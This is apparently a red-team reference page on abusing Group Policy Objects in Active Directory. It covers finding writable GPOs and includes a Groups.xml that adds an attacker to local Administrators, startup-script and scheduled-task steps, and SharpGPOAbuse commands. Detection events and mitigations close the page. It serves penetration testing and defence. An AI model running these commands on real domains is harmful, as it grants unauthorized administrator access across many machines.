GPO Abuse
Overview
Group Policy Objects (GPOs) define configuration and security settings applied to users and computers in Active Directory. If an attacker gains write access to a GPO, they can push malicious configurations to all systems the GPO is linked to — creating local admins, executing scripts, deploying scheduled tasks, or modifying security settings. GPO abuse is a powerful privilege escalation vector because a single GPO modification can compromise many systems simultaneously.
ATT&CK Mapping
- Tactic: TA0004 - Privilege Escalation
- Technique: T1484.001 - Domain or Tenant Policy Modification: Group Policy Modification
Prerequisites
- Write access to a GPO (identified via BloodHound or ACL enumeration)
- The GPO must be linked to an OU containing target computers or users
Techniques
Enumerate GPO Permissions
# PowerShell — list GPOs and who can modify them
Get-GPO -All | ForEach-Object {
$gpo = $_
Get-GPPermission -Guid $gpo.Id -All | Where-Object {
$_.Permission -match "GpoEdit|GpoEditDeleteModifySecurity"
} | Select-Object @{N='GPO';E={$gpo.DisplayName}}, Trustee, Permission
}
# BloodHound — look for edges:
# GenericAll, GenericWrite, or WriteProperty on GPO objects
# In BloodHound query:
# MATCH (u:User)-[:GenericAll|GenericWrite]->(g:GPO) RETURN u,g
Add Local Administrator via GPO
If you can modify a GPO linked to target computers, add a user to the local Administrators group:
GPO path: \\<domain>\SYSVOL\<domain>\Policies\{GPO_GUID}\Machine\Preferences\Groups\Groups.xml
Create or modify Groups.xml to add a user to the local Administrators group:
<?xml version="1.0" encoding="UTF-8"?>
<Groups>
<Group clsid="{6D4A79E4-529C-4481-ABD0-F5BD7EA93BA7}" name="Administrators (built-in)" image="2" changed="2026-01-01 00:00:00" uid="{GUID}">
<Properties action="U" groupName="Administrators (built-in)" groupSid="S-1-5-32-544">
<Members>
<Member name="<domain>\<attacker>" action="ADD" sid="<attacker_sid>"/>
</Members>
</Properties>
</Group>
</Groups>
Execute Script via GPO
Add an immediate scheduled task through GPO:
GPO path: \\<domain>\SYSVOL\<domain>\Policies\{GPO_GUID}\Machine\Preferences\ScheduledTasks\ScheduledTasks.xml
Or add a startup script:
GPO path: \\<domain>\SYSVOL\<domain>\Policies\{GPO_GUID}\Machine\Scripts\Startup\
Place your script in the Startup directory and reference it in scripts.ini:
[Startup]
0CmdLine=payload.bat
0Parameters=
Force GPO Update
After modifying a GPO, wait for the default refresh interval (90 minutes + random 0-30 minute offset, so 90-120 minutes) or force an update:
:: On target (if you have access)
gpupdate /force
# Remote GPO update via PowerShell (requires admin on target)
Invoke-GPUpdate -Computer <target> -Force
SharpGPOAbuse
SharpGPOAbuse automates GPO modification from Windows:
:: Add local admin via GPO
SharpGPOAbuse.exe --AddLocalAdmin --UserAccount <attacker> --GPOName "<GPO_Name>"
:: Add immediate scheduled task
SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" --Author NT AUTHORITY\SYSTEM --Command "cmd.exe" --Arguments "/c net localgroup administrators <attacker> /add" --GPOName "<GPO_Name>"
:: Add computer startup script
SharpGPOAbuse.exe --AddComputerScript --ScriptName "update.bat" --ScriptContents "net localgroup administrators <attacker> /add" --GPOName "<GPO_Name>"
Detection Methods
Network-Based Detection
- Unusual SMB writes to SYSVOL GPO directories
- GPO modifications from non-admin workstations
Host-Based Detection
- Windows Security Event 5136 (GPO object modification in AD)
- Event 4670 (Permissions on an object were changed) on GPO objects
- Changes to
Groups.xml,ScheduledTasks.xml, or startup scripts in SYSVOL - File system auditing on SYSVOL share
Mitigation Strategies
- Restrict GPO edit permissions — audit who has write access to GPOs and remove unnecessary permissions
- Monitor SYSVOL — alert on modifications to GPO files in SYSVOL
- Audit GPO changes — enable Directory Service Changes auditing
- Separate high-privilege GPOs — GPOs linked to DC or admin OUs should have restricted edit permissions